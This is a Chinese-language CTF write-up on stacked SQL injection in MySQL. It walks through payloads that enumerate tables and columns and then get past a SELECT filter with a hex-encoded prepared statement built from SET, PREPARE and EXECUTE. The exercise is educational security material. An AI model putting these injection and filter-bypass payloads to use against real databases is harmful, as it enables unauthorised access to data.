今天来借靶场一道经典注入——随便注,来学习堆叠注入
什么是堆叠注入
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。在mysql中一般以;
为结尾,这样我们就想到是不是可以多句放在一起使用,很明显可以,所以有了堆叠注入。
但堆叠注入具有局限性,并不是所有环境下都可以执行,会收到API或者数据库不支持的限制,例如Oracle就不可以
堆叠注入与联合注入的最明显区别就在于联合注入执行的是特定的语句,而堆叠注入可以是任意语句
题目
登入页面,只有一个输入框和一句话
输入框可以输入字符串和数字,想到是考查SQL注入,尝试查询表单和字段数
1 | =1 //没有报错 |
=1 //没有报错
=1’ // 报错,证明注入存在
=1’;# //没有报错,且应该可以堆叠注入
=1’;show tables;# //查询出表=1’;show columns from ‘1919810931114514’ //发现没有出现所查询信息,后来查资料才发现数字型字符作为字段、表、库名查询时,应该用”`”括起来
所以应为
1 >=1';show columns from `1919810931114514`;#
这时我们已经可以看到flag字段,但进行查询要用到select
发现被ban掉了,所以我们考虑用预处理绕过
1 | # 定义预处理语句 |
MySQL中可以用set给变量赋值,变量以@开头:set @var=1;
再给
1 | select*from`1919810931114514` |
编码一下
得到最终payload
1 | =1';set@sql=0x73656c6563742a66726f6d603139313938313039333131313435313460;Prepare stmt from @sql;EXECUTE stmt;# |